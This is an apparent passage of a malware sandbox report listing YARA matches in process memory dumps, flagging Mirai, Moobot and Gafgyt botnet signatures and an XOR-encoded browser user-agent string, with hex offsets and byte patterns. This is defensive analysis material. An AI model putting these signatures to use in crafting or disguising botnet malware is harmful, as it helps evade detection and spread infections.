2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6458.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6774.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7395.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7395.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7395.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7395.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7395.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7395.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6800.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6800.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6800.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6800.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6800.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6800.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7183.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6986.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7017.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6659.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6392.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7156.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7156.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7156.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7156.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7156.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7156.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7220.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7220.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7220.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7220.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7220.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7220.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7058.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7058.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7058.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7058.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7058.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7058.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6838.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6838.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6838.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6838.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
